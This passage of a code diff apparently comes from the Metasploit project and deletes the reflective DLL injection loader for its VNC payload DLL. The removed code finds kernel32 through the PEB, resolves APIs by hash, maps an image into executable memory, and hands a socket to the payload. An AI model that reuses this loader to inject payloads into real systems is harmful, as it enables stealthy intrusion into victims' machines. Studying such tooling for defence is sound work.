-	uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress );
-
-	// get the File Offset for the array of name ordinals
-	uiNameOrdinals = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals, uiBaseAddress );	
-
-	// get a counter for the number of exported functions...
-	dwCounter = ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->NumberOfNames;
-
-	// loop through all the exported functions to find the ReflectiveLoader
-	while( dwCounter-- )
-	{
-		char * cpExportedFunctionName = (char *)(uiBaseAddress + Rva2Offset( DEREF_32( uiNameArray ), uiBaseAddress ));
-
-		if( strstr( cpExportedFunctionName, "ReflectiveLoader" ) != NULL )
-		{
-			// get the File Offset for the array of addresses
-			uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress );	
-	
-			// use the functions name ordinal as an index into the array of name pointers
-			uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
-
-			// return the File Offset to the ReflectiveLoader() functions code...
-			return Rva2Offset( DEREF_32( uiAddressArray ), uiBaseAddress );
-		}
-		// get the next exported function name
-		uiNameArray += sizeof(DWORD);
-
-		// get the next exported function name ordinal
-		uiNameOrdinals += sizeof(WORD);
-	}
-
-	return 0;
-}
-//===============================================================================================//
--- a/external/source/vncdll/loader/LoadLibraryR.h
+++ b/external/source/vncdll/loader/LoadLibraryR.h
@ -1,37 +0,0 @@
-//===============================================================================================//
-// Copyright (c) 2009, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
-// All rights reserved.
-// 
-// Redistribution and use in source and binary forms, with or without modification, are permitted 
-// provided that the following conditions are met:
-// 
-//     * Redistributions of source code must retain the above copyright notice, this list of 
-// conditions and the following disclaimer.
-// 
-//     * Redistributions in binary form must reproduce the above copyright notice, this list of 
-// conditions and the following disclaimer in the documentation and/or other materials provided 
-// with the distribution.
-// 
-//     * Neither the name of Harmony Security nor the names of its contributors may be used to
-// endorse or promote products derived from this software without specific prior written permission.
-// 
-// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 
-// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
-// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 
-// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 
-// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 
-// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 
-// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 
-// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 
-// POSSIBILITY OF SUCH DAMAGE.
-//===============================================================================================//
-#ifndef _VNCDLL_LOADER_LOADLIBRARYR_H
-#define _VNCDLL_LOADER_LOADLIBRARYR_H
-//===============================================================================================//
-#include "ReflectiveDLLInjection.h"
-
-DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer );
-
-//===============================================================================================//
-#endif
-//===============================================================================================//
--- a/external/source/vncdll/loader/ReflectiveDLLInjection.h
+++ b/external/source/vncdll/loader/ReflectiveDLLInjection.h
@ -1,53 +0,0 @@
-//===============================================================================================//
-// Copyright (c) 2009, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
-// All rights reserved.
-// 
-// Redistribution and use in source and binary forms, with or without modification, are permitted 
-// provided that the following conditions are met:
-// 
-//     * Redistributions of source code must retain the above copyright notice, this list of 
-// conditions and the following disclaimer.
-// 
-//     * Redistributions in binary form must reproduce the above copyright notice, this list of 
-// conditions and the following disclaimer in the documentation and/or other materials provided 
-// with the distribution.
-// 
-//     * Neither the name of Harmony Security nor the names of its contributors may be used to
-// endorse or promote products derived from this software without specific prior written permission.
-// 
-// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 
-// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
-// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 
-// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 
-// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 
-// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 
-// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 
-// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 
-// POSSIBILITY OF SUCH DAMAGE.
-//===============================================================================================//
-#ifndef _VNCDLL_LOADER_REFLECTIVEDLLINJECTION_H
-#define _VNCDLL_LOADER_REFLECTIVEDLLINJECTION_H
-//===============================================================================================//
-#define WIN32_LEAN_AND_MEAN
-#include <windows.h>
-
-// we declare some common stuff in here...
-
-#define DLL_METASPLOIT_ATTACH	4
-#define DLL_METASPLOIT_DETACH	5
-#define DLL_QUERY_HMODULE		6
-
-#define DEREF( name )*(UINT_PTR *)(name)
-#define DEREF_64( name )*(DWORD64 *)(name)
-#define DEREF_32( name )*(DWORD *)(name)
-#define DEREF_16( name )*(WORD *)(name)
-#define DEREF_8( name )*(BYTE *)(name)
-
-typedef DWORD (WINAPI * REFLECTIVELOADER)( VOID );
-typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID );
-
-#define DLLEXPORT   __declspec( dllexport ) 
-
-//===============================================================================================//
-#endif
-//===============================================================================================//
--- a/external/source/vncdll/loader/ReflectiveLoader.c
+++ b/external/source/vncdll/loader/ReflectiveLoader.c
@ -1,451 +0,0 @@
-//===============================================================================================//
-// Copyright (c) 2009, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
-// All rights reserved.
-// 
-// Redistribution and use in source and binary forms, with or without modification, are permitted 
-// provided that the following conditions are met:
-// 
-//     * Redistributions of source code must retain the above copyright notice, this list of 
-// conditions and the following disclaimer.
-// 
-//     * Redistributions in binary form must reproduce the above copyright notice, this list of 
-// conditions and the following disclaimer in the documentation and/or other materials provided 
-// with the distribution.
-// 
-//     * Neither the name of Harmony Security nor the names of its contributors may be used to
-// endorse or promote products derived from this software without specific prior written permission.
-// 
-// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 
-// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
-// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 
-// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 
-// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 
-// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 
-// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 
-// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 
-// POSSIBILITY OF SUCH DAMAGE.
-//===============================================================================================//
-#include "ReflectiveLoader.h"
-//===============================================================================================//
-// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value
-HINSTANCE hAppInstance = NULL;
-//===============================================================================================//
-#ifdef _WIN64
-#pragma intrinsic( _ReturnAddress )
-UINT_PTR eip( VOID ) { return (UINT_PTR)_ReturnAddress(); }
-#endif
-//===============================================================================================//
-
-// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN,  
-//         otherwise the DllMain at the end of this file will be used.
-
-// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR,
-//         otherwise it is assumed you are calling the ReflectiveLoader via a stub.
-
-// This is our position independent reflective DLL loader/injector
-#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
-DLLEXPORT UINT_PTR WINAPI ReflectiveLoader( LPVOID lpParameter )
-#else
-DLLEXPORT UINT_PTR WINAPI ReflectiveLoader( VOID )
-#endif
-{
-	// the functions we need
-	LOADLIBRARYA pLoadLibraryA;
-	GETPROCADDRESS pGetProcAddress;
-	VIRTUALALLOC pVirtualAlloc;
-	USHORT usCounter;
-
-	// the initial location of this image in memory
-	UINT_PTR uiLibraryAddress;
-	// the kernels base address and later this images newly loaded base address
-	UINT_PTR uiBaseAddress;
-
-	// variables for processing the kernels export table
-	UINT_PTR uiAddressArray;
-	UINT_PTR uiNameArray;
-	UINT_PTR uiExportDir;
-	UINT_PTR uiNameOrdinals;
-	DWORD dwHashValue;
-
-	// variables for loading this image
-	UINT_PTR uiHeaderValue;
-	UINT_PTR uiValueA;
-	UINT_PTR uiValueB;
-	UINT_PTR uiValueC;
-	UINT_PTR uiValueD;
-
-	// STEP 0: calculate our images current base address
-
-	// we will start searching backwards from our current EIP
-#ifdef _WIN64
-	uiLibraryAddress = eip();
-#else
-	__asm call geteip
-	__asm geteip: pop uiLibraryAddress
-#endif
-
-	// loop through memory backwards searching for our images base address
-	// we dont need SEH style search as we shouldnt generate any access violations with this
-	while( TRUE )
-	{
-		if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE )
-		{
-			uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
-			// some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),
-			// we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.
-			if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 )
-			{
-				uiHeaderValue += uiLibraryAddress;
-				// break if we have found a valid MZ/PE header
-				if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE )
-					break;
-			}
-		}
-		uiLibraryAddress--;
-	}
-
-	// STEP 1: process the kernels exports for the functions our loader needs...
-
-	// get the Process Enviroment Block
-#ifdef _WIN64
-	uiBaseAddress = __readgsqword( 0x60 );	
-#else
-	uiBaseAddress = __readfsdword( 0x30 );
-#endif
-
-	// get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx
-	uiBaseAddress = (UINT_PTR)((_PPEB)uiBaseAddress)->pLdr;
-
-	// get the first entry of the InMemoryOrder module list
-	uiValueA = (UINT_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
-	while( uiValueA )
-	{
-		// get pointer to current modules name (unicode string)
-		uiValueB = (UINT_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
-		// set bCounter to the length for the loop
-		usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
-		// clear uiValueC which will store the hash of the module name
-		uiValueC = 0;
-		// compute the hash of the module name...
-		do
-		{
-			uiValueC = ror( (DWORD)uiValueC );
-			// normalize to uppercase if the madule name is in lowercase
-			if( *((BYTE *)uiValueB) >= 'a' )
-				uiValueC += *((BYTE *)uiValueB) - 0x20;
-			else
-				uiValueC += *((BYTE *)uiValueB);
-			uiValueB++;
-		} while( --usCounter );
-		// compare the hash with that of kernel32.dll
-		if( (DWORD)uiValueC == KERNEL32DLL_HASH )
-		{
-			// get this modules base address
-			uiBaseAddress = (UINT_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
-			break;
-		}
-		// get the next entry
-		uiValueA = DEREF( uiValueA );
-	}
-
-	// get the VA of the modules NT Header
-	uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
-
-	// uiNameArray = the address of the modules export directory entry
-	uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
-
-	// get the VA of the export directory
-	uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
-
-	// get the VA for the array of name pointers
-	uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
-			
-	// get the VA for the array of name ordinals
-	uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
-
-	usCounter = 3;
-
-	// loop while we still have imports to find
-	while( usCounter > 0 )
-	{
-		// compute the hash values for this function name
-		dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) )  );
-				
-		// if we have found a function we want we get its virtual address
-		if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH )
-		{
-			// get the VA for the array of addresses
-			uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
-
-			// use this functions name ordinal as an index into the array of name pointers
-			uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
-
-			// store this functions VA
-			if( dwHashValue == LOADLIBRARYA_HASH )
-				pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) );
-			else if( dwHashValue == GETPROCADDRESS_HASH )
-				pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) );
-			else if( dwHashValue == VIRTUALALLOC_HASH )
-				pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) );
-			
-			// decrement our counter
-			usCounter--;
-		}
-
-		// get the next exported function name
-		uiNameArray += sizeof(DWORD);
-
-		// get the next exported function name ordinal
-		uiNameOrdinals += sizeof(WORD);
-	}
-
-	// STEP 2: load our image into a new permanent location in memory...
-
-	// get the VA of the NT Header for the PE to be loaded
-	uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
-
-	// allocate all the memory for the DLL to be loaded into. we can load at any address because we will  
-	// relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
-	uiBaseAddress = (UINT_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
-
-	// we must now copy over the headers
-	uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
-	uiValueB = uiLibraryAddress;
-	uiValueC = uiBaseAddress;
-	__movsb( (PBYTE)uiValueC, (PBYTE)uiValueB, uiValueA );
-
-	// STEP 3: load in all of our sections...
-
-	// uiValueA = the VA of the first section
-	uiValueA = ( (UINT_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );
-	
-	// itterate through all sections, loading them into memory.
-	while( ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections-- )
-	{
-		// uiValueB is the VA for this section
-		uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );
-
-		// uiValueC if the VA for this sections data
-		uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );
-
-		// copy the section over
-		uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
-		__movsb( (PBYTE)uiValueB, (PBYTE)uiValueC, uiValueD );
-
-		// get the VA of the next section
-		uiValueA += sizeof( IMAGE_SECTION_HEADER );
-	}
-
-	// STEP 4: process our images import table...
-
-	// uiValueB = the address of the import directory
-	uiValueB = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
-	
-	// we assume their is an import table to process
-	// uiValueC is the first entry in the import table
-	uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
-	
-	// itterate through all imports
-	while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name )
-	{
-		// use LoadLibraryA to load the imported module into memory
-		uiLibraryAddress = (UINT_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );
-
-		// uiValueD = VA of the OriginalFirstThunk
-		uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );
-	
-		// uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)
-		uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );
-
-		// itterate through all imported functions, importing by ordinal if no name present
-		while( DEREF(uiValueA) )
-		{
-			// sanity check uiValueD as some compilers only import by FirstThunk
-			if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG )
-			{
-				// get the VA of the modules NT Header
-				uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
-
-				// uiNameArray = the address of the modules export directory entry
-				uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
-
-				// get the VA of the export directory
-				uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
-
-				// get the VA for the array of addresses
-				uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
-
-				// use the import ordinal (- export ordinal base) as an index into the array of addresses
-				uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );
-
-				// patch in the address for this imported function
-				DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) );
-			}
-			else
-			{
-				// get the VA of this functions import by name struct
-				uiValueB = ( uiBaseAddress + DEREF(uiValueA) );
-
-				// use GetProcAddress and patch in the address for this imported function
-				DEREF(uiValueA) = (UINT_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );
-			}
-			// get the next imported function
-			uiValueA += sizeof( UINT_PTR );
-			if( uiValueD )
-				uiValueD += sizeof( UINT_PTR );
-		}
-
-		// get the next import
-		uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
-	}
-
-	// STEP 5: process all of our images relocations...
-
-	// calculate the base address delta and perform relocations (even if we load at desired image base)
-	uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
-	
-	// uiValueB = the address of the relocation directory
-	uiValueB = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];
-
-	// check if their are any relocations present
-	if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
-	{
-		// uiValueC is now the first entry (IMAGE_BASE_RELOCATION)
-		uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
-
-		// and we itterate through all entries...
-		while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock )
-		{
-			// uiValueA = the VA for this relocation block
-			uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress );
-
-			// uiValueB = number of entries in this relocation block
-			uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC );
-
-			// uiValueD is now the first entry in the current relocation block
-			uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
-
-			// we itterate through all the entries in the current block...
-			while( uiValueB-- )
-			{
-				// perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
-				// we dont use a switch statement to avoid the compiler building a jump table
-				// which would not be very position independent!
-				if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 )
-					*(UINT_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
-				else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW )
-					*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
-				else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH )
-					*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
-				else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW )
-					*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
-
-				// get the next entry in the current relocation block
-				uiValueD += sizeof( IMAGE_RELOC );
-			}
-
-			// get the next entry in the relocation directory
-			uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
-		}
-	}
-
-	// STEP 6: process the images exception directory if it has one (PE32+ for x64)
-/*
-	// uiValueB = the address of the relocation directory
-	uiValueB = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXCEPTION ];
-	// check if their are any exception etries present
-	if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
-	{
-		// get the number of entries
-		uiValueA = ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size / sizeof( IMAGE_RUNTIME_FUNCTION_ENTRY );
-		
-		// uiValueC is now the first entry (IMAGE_RUNTIME_FUNCTION_ENTRY)
-		uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
-
-		// itterate through all entries
-		while( uiValueA-- )
-		{
-			//((IMAGE_RUNTIME_FUNCTION_ENTRY)uiValueC).BeginAddress
-		
-			// get the next entry
-			uiValueC += sizeof( IMAGE_RUNTIME_FUNCTION_ENTRY );
-		}
-	}
-*/
-	// STEP 7: call our images entry point
-
-	// uiValueA = the VA of our newly loaded DLL/EXE's entry point
-	uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint );
-
-	// call our respective entry point, fudging our hInstance value
-#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
-	// if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
-	((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter );
-#else
-	// if we are injecting an DLL via a stub we call DllMain with no parameter
-	((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL );
-#endif
-
-	// STEP 8: return our new entry point address so whatever called us can call DLL_METASPLOIT_ATTACH/DLL_METASPLOIT_DETACH
-	return uiValueA;
-}
-//===============================================================================================//
-#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
-
-// you must implement this function...
-extern DWORD DLLEXPORT Init( SOCKET socket );
-
-BOOL MetasploitDllAttach( SOCKET socket )
-{
-	Init( socket );
-	return TRUE;
-}
-
-BOOL MetasploitDllDetach( DWORD dwExitFunc )
-{
-	switch( dwExitFunc )
-	{
-		case EXITFUNC_SEH:
-			SetUnhandledExceptionFilter( NULL );
-			break;
-		case EXITFUNC_THREAD:
-			ExitThread( 0 );
-			break;
-		case EXITFUNC_PROCESS:
-			ExitProcess( 0 );
-			break;
-		default:
-			break;
-	}
-
-	return TRUE;
-}
-
-BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
-{
-    BOOL bReturnValue = TRUE;
-	switch( dwReason ) 
-    { 
-		case DLL_METASPLOIT_ATTACH:
-			bReturnValue = MetasploitDllAttach( (SOCKET)lpReserved );
-			break;
-		case DLL_METASPLOIT_DETACH:
-			bReturnValue = MetasploitDllDetach( (DWORD)lpReserved );
-			break;
-		case DLL_QUERY_HMODULE:
-			if( lpReserved != NULL )
-				*(HMODULE *)lpReserved = hAppInstance;
-			break;
-		case DLL_PROCESS_ATTACH:
-			hAppInstance = hinstDLL;
-			break;
-		case DLL_PROCESS_DETACH:
-		case DLL_THREAD_ATTACH:
-		case DLL_THREAD_DETACH:
-            break;
-    }
-	return bReturnValue;
-}
-
-#endif
-//===============================================================================================//
--- a/external/source/vncdll/loader/ReflectiveLoader.h
+++ b/external/source/vncdll/loader/ReflectiveLoader.h
@ -1,197 +0,0 @@
-//===============================================================================================//
-// Copyright (c) 2009, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
-// All rights reserved.
-// 
-// Redistribution and use in source and binary forms, with or without modification, are permitted 
-// provided that the following conditions are met:
-// 
-//     * Redistributions of source code must retain the above copyright notice, this list of 
-// conditions and the following disclaimer.
-// 
-//     * Redistributions in binary form must reproduce the above copyright notice, this list of 
-// conditions and the following disclaimer in the documentation and/or other materials provided 
-// with the distribution.
-// 
-//     * Neither the name of Harmony Security nor the names of its contributors may be used to
-// endorse or promote products derived from this software without specific prior written permission.
-	// 
-// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 
-// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
-// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 
-// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 
-// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 
-// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 
-// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 
-// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 
-// POSSIBILITY OF SUCH DAMAGE.
-//===============================================================================================//
-#ifndef _VNCDLL_LOADER_REFLECTIVELOADER_H
-#define _VNCDLL_LOADER_REFLECTIVELOADER_H
-//===============================================================================================//
-#define WIN32_LEAN_AND_MEAN
-#include <windows.h>
-#include <Winsock2.h>
-#include <intrin.h>
-
-#include "ReflectiveDLLInjection.h"
-
-#define EXITFUNC_SEH		0xEA320EFE
-#define EXITFUNC_THREAD		0x0A2A1DE0
-#define EXITFUNC_PROCESS	0x56A2B5F0
-
-typedef HMODULE (WINAPI * LOADLIBRARYA)( LPCSTR );
-typedef FARPROC (WINAPI * GETPROCADDRESS)( HMODULE, LPCSTR );
-typedef LPVOID  (WINAPI * VIRTUALALLOC)( LPVOID, SIZE_T, DWORD, DWORD );
-
-#define KERNEL32DLL_HASH		0x6A4ABC5B
-#define LOADLIBRARYA_HASH		0xEC0E4E8E
-#define GETPROCADDRESS_HASH		0x7C0DFCAA
-#define VIRTUALALLOC_HASH		0x91AFCA54
-
-#define HASH_KEY	13
-//===============================================================================================//
-#pragma intrinsic( _rotr )
-
-__forceinline DWORD ror( DWORD d )
-{
-	return _rotr( d, HASH_KEY );
-}
-
-
-
-__forceinline DWORD hash( char * c )
-{
-    register DWORD h = 0;
-	do
-	{
-		h = ror( h );
-        h += *c;
-	} while( *++c );
-
-    return h;
-}
-//===============================================================================================//
-typedef struct _UNICODE_STR
-{
-  USHORT Length;
-  USHORT MaximumLength;
-  PWSTR pBuffer;
-} UNICODE_STR, *PUNICODE_STR;
-
-// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY
-//__declspec( align(8) ) 
-typedef struct _LDR_DATA_TABLE_ENTRY
-{
-	//LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.
-	LIST_ENTRY InMemoryOrderModuleList;
-	LIST_ENTRY InInitializationOrderModuleList;
-	PVOID DllBase;
-	PVOID EntryPoint;
